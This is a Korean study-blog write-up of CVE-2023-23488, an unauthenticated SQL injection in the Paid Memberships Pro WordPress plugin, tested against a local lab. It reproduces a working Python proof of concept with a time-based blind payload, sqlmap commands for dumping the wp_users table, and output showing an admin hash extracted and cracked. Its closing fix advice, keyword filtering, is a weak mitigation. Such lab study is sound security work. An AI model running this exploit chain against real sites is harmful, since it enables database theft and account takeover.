테스트 환경 : Windows 10, Wordpress 5.4.16, XAMPP 7.4.10 Paid Memberships Pro 2.9.7
CVSS Version 3.x : 9.8 CRITICAL
해당 취약점은 Wordpress Paid Memberships Pro 플러그인에서 자격 증명 즉, 계정이 필요없이 SQL Injection 취약점이 발견됐다.
해당 취약점은 SQL 문을 사용하기 전에 /pmpro/v1/order
REST Route에서 code
매개변수를 검증하지 않아서 해당 취약점이 일어난다.
Paid MemberShips Pro의 Rest API 코드는 wordpress\wp-content\plugins\paid-memberships-pro\includes
에 있다.
이제 문제가 되는 코드를 살펴보려 한다.
$params = $request->get_params();
$method = $request->get_method();
$code = isset( $params['code'] ) ? sanitize_text_field( $params['code'] ) : '';
$uses = isset( $params['uses'] ) ? intval( $params['uses'] ) : '';
$starts = isset( $params['starts'] ) ? sanitize_text_field( $params['starts'] ) : '';
$expires = isset( $params['expires'] ) ? sanitize_text_field( $params['expires'] ) : '';
$levels = isset( $params['levels'] ) ? sanitize_text_field( $params['levels'] ) : null;
function pmpro_rest_api_get_order( $request ) {
if ( ! class_exists( 'MemberOrder' ) ) {
return new WP_REST_Response( 'Paid Memberships Pro order class not found.', 404 );
}
$params = $request->get_params();
$code = isset( $params['code'] ) ? sanitize_text_field( $params['code'] ) : null;
if ( empty( $code ) ) {
return new WP_REST_Response( 'No order code sent.', 400 );
}
return new WP_REST_Response( new MemberOrder( $code ), 200 );
}
$code
는 sanitize_text_field
로 보호되는데 해당 함수는 wp-includes/formatting.php
에 있는 코드로 다음과 같다.
/**
* Get an order.
* @since 2.8
* Example: https://example.com/wp-json/pmpro/v1/order
*/
function _sanitize_text_fields( $str, $keep_newlines = false ) {
if ( is_object( $str ) || is_array( $str ) ) {
return '';
}
$str = (string) $str;
$filtered = wp_check_invalid_utf8( $str );
if ( strpos( $filtered, '<' ) !== false ) {
$filtered = wp_pre_kses_less_than( $filtered );
// This will strip extra whitespace for us.
$filtered = wp_strip_all_tags( $filtered, false );
// Use HTML entities in a special case to make sure no later
// newline stripping stage could lead to a functional tag.
$filtered = str_replace( "<\n", "<\n", $filtered );
}
if ( ! $keep_newlines ) {
$filtered = preg_replace( '/[\r\n\t ]+/', ' ', $filtered );
}
$filtered = trim( $filtered );
$found = false;
while ( preg_match( '/%[a-f0-9]{2}/i', $filtered, $match ) ) {
$filtered = str_replace( $match[0], '', $filtered );
$found = true;
}
if ( $found ) {
// Strip out the whitespace that may now exist after removing the octets.
$filtered = trim( preg_replace( '/ +/', ' ', $filtered ) );
}
return $filtered;
}
해당 코드를 보게 되면 <,<\n,\r,\n,\t,URL Encoding
을 필터링 하는 것을 볼 수 있다. ', ", `, (,)
과 같은 SQL Injection에 사용되는 문자열은 필터링하지 않는 것을 볼 수 있다.
이제 변수 $code
가 MemberOrder를 통해 전달되는 걸로 볼 수 있다. 이에 class.memberorder.php
를 확인해보면 getRandomCode()
함수에서 해당 변수를 처리하는 것을 볼 수 있다.
function getRandomCode() {
global $wpdb;
// We mix this with the seed to make sure we get unique codes.
static $count = 0;
$count++;
while( empty( $code ) ) {
$scramble = md5( AUTH_KEY . microtime() . SECURE_AUTH_KEY . $count );
$code = substr( $scramble, 0, 10 );
$code = apply_filters( 'pmpro_random_code', $code, $this ); //filter
$check = $wpdb->get_var( "SELECT id FROM $wpdb->pmpro_membership_orders WHERE code = '$code' LIMIT 1" );
if( $check || is_numeric( $code ) ) {
$code = NULL;
}
}
return strtoupper( $code );
}
해당 함수에서 $check
변수가 쿼리문으로 pmpro_membership_orders
에서 $code
변수에 해당하는 id
값을 출력하고, 첫 번째 결과를 반환한다.
이제 Exploit 코드를 살펴보려 한다. https://github.com/long-rookie/CVE-2023-23488-PoC
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# https://github.com/r3nt0n
#
# Exploit Title: Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection
#
# Exploit Author: r3nt0n
# CVE: CVE-2023-23488
# Date: 2023/01/24
# Vulnerability discovered by Joshua Martinelle
# Vendor Homepage: https://www.paidmembershipspro.com
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip
# Advisory: https://github.com/advisories/GHSA-pppw-hpjp-v2p9
# Version: < 2.9.8
# Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7
#
# Running this script against a WordPress instance with Paid Membership Pro plugin
# tells you if the target is vulnerable.
# As the SQL injection technique required to exploit it is Time-based blind, instead of
# trying to directly exploit the vuln, it will generate the appropriate sqlmap command
# to dump the whole database (probably very time-consuming) or specific chose data like
# usernames and passwords.
#
# Usage example: python3 CVE-2023-23488.py http://127.0.0.1/wordpress
import sys
import requests
def get_request(target_url, delay="1"):
payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -"
data = {'rest_route': '/pmpro/v1/order',
'code': payload}
return requests.get(target_url, params=data).elapsed.total_seconds()
print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n')
if len(sys.argv) != 2:
print('Usage: {} <target_url>'.format("python3 CVE-2023-23488.py"))
print('Example: {} http://127.0.0.1/wordpress'.format("python3 CVE-2023-23488.py"))
sys.exit(1)
target_url = sys.argv[1]
try:
print('[-] Testing if the target is vulnerable...')
req = requests.get(target_url, timeout=15)
except:
print('{}[!] ERROR: Target is unreachable{}'.format(u'\033[91m',u'\033[0m'))
sys.exit(2)
if get_request(target_url, "1") >= get_request(target_url, "2"):
print('{}[!] The target does not seem vulnerable{}'.format(u'\033[91m',u'\033[0m'))
sys.exit(3)
print('\n{}[*] The target is vulnerable{}'.format(u'\033[92m', u'\033[0m'))
print('\n[+] You can dump the whole WordPress database with:')
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump'.format(target_url))
print('\n[+] To dump data from specific tables:')
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users'.format(target_url))
print('\n[+] To dump only WordPress usernames and passwords columns (you should check if users table have the default name):')
print('sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass'.format(target_url))
sys.exit(0)
해당 코드에서 payload
를 보게 되면 "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -"
로 Blind SQL Injection 페이로드를 사용하는 것을 볼 수 있다.
해당 Exploit 코드를 실행하고 로그 파일을 보면 위에 보았던 class.memberorder.php
파일에 존재하는 getRandomCode()
함수에 쿼리문과 일치하는 것을 볼 수 있다.
318 Query SELECT id FROM wp_pmpro_membership_orders WHERE code = 'a' OR (SELECT 1 FROM (SELECT(SLEEP(1)))a)-- -' LIMIT 1
250123 6:30:00 318 Query SELECT id FROM wp_pmpro_membership_orders WHERE code = 'a' OR (SELECT 1 FROM (SELECT(SLEEP(1)))a)-- -' LIMIT 1
250123 6:30:01 318 Query SELECT id FROM wp_pmpro_membership_orders WHERE code = 'a' OR (SELECT 1 FROM (SELECT(SLEEP(1)))a)-- -' LIMIT 1


exploit 코드를 실행하면 다음과 같이 성공 후 sqlmap을 통해 유저와 패스워드를 sqlmap을 통해 추가할 수 있다고 나온다.

SQLMap은 SQL Injection을 탐지하고 데이터베이스 유형을 감지한 뒤, 테이블 구조, 컬럼 이름, 데이터를 추출할 수 있는 자동화 도구이다. 그러나 SQL Injection 취약점을 탐지하기 위해 많은 트래픽을 생성하므로, 실제 운영 환경에서 사용하면 제지당할 가능성이 높다.
SQLMAP을 통해 wordpress의 사용자를 출력해보면 다음과 같이 나온다.
E:\sqlmapproject-sqlmap-0f9a1c8>python sqlmap.py -u "http://localhost/wordpress/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass
___
__H__
___ ___["]_____ ___ ___ {1.9.1.2#dev}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:15:45 /2025-01-24/
[10:15:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: code (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: rest_route=/pmpro/v1/order&code=a' AND (SELECT 6229 FROM (SELECT(SLEEP(5)))wHTM) AND 'pefG'='pefG
---
[10:15:46] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[10:16:06] [INFO] confirming MySQL
[10:16:06] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[10:16:36] [INFO] adjusting time delay to 1 second due to good response times
[10:16:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.10, Apache 2.4.46
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[10:16:36] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[10:16:36] [INFO] fetching current database
[10:16:36] [INFO] retrieved: wordpress
[10:18:20] [INFO] fetching entries of column(s) 'user_login,user_pass' for table 'wp_users' in database 'wordpress'
[10:18:20] [INFO] fetching number of column(s) 'user_login,user_pass' entries for table 'wp_users' in database 'wordpress'
[10:18:20] [INFO] retrieved: 1
[10:18:25] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
root
[10:19:23] [INFO] retrieved: $P$B1GX/Q3w3/lRhGX9iIjN6pjcqdudRN/
[10:26:37] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[10:26:37] [INFO] using hash method 'phpass_passwd'
what dictionary do you want to use?
[1] default dictionary file 'E:\sqlmapproject-sqlmap-0f9a1c8\data\txt\smalldict.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[10:26:37] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[10:26:37] [INFO] starting dictionary-based cracking (phpass_passwd)
[10:26:37] [INFO] starting 12 processes
[10:26:44] [CRITICAL] there was a problem while hashing entry: 'root' ('LookupError: unknown error handler name 'reversible''). Please report by e-mail to 'dev@sqlmap.org'
[10:26:46] [CRITICAL] there was a problem while hashing entry: 'root' ('LookupError: unknown error handler name 'reversible''). Please report by e-mail to 'dev@sqlmap.org'
Database: wordpress
Table: wp_users
[1 entry]
+------------+-------------------------------------------+
| user_login | user_pass |
+------------+-------------------------------------------+
| root | $P$B1GX/Q3w3/lRhGX9iIjN6pjcqdudRN/ (root) |
+------------+-------------------------------------------+
[10:26:46] [INFO] table 'wordpress.wp_users' dumped to CSV file 'C:\Users\Acrick\AppData\Local\sqlmap\output\localhost\dump\wordpress\wp_users.csv'
[10:26:46] [INFO] fetched data logged to text files under 'C:\Users\Acrick\AppData\Local\sqlmap\output\localhost'
SQLMap을 통해 wordpress에 자격 증명을 획득할 수 있다. root:root
를 통해 관리자 권한으로 wordpress에 접근이 가능해졌다.
이러한 공격을 막기 위해 $code
변수에 select, substr, sleep()
등 SQL Injection에 자주 사용되는 단어를 필터링해야한다.
'공부 정리' 카테고리의 다른 글
Wordpress Visitors-App 0.3 XSS (0) | 2025.01.30 |
---|---|
PenTest Cheat Sheet[OSCP] (0) | 2025.01.11 |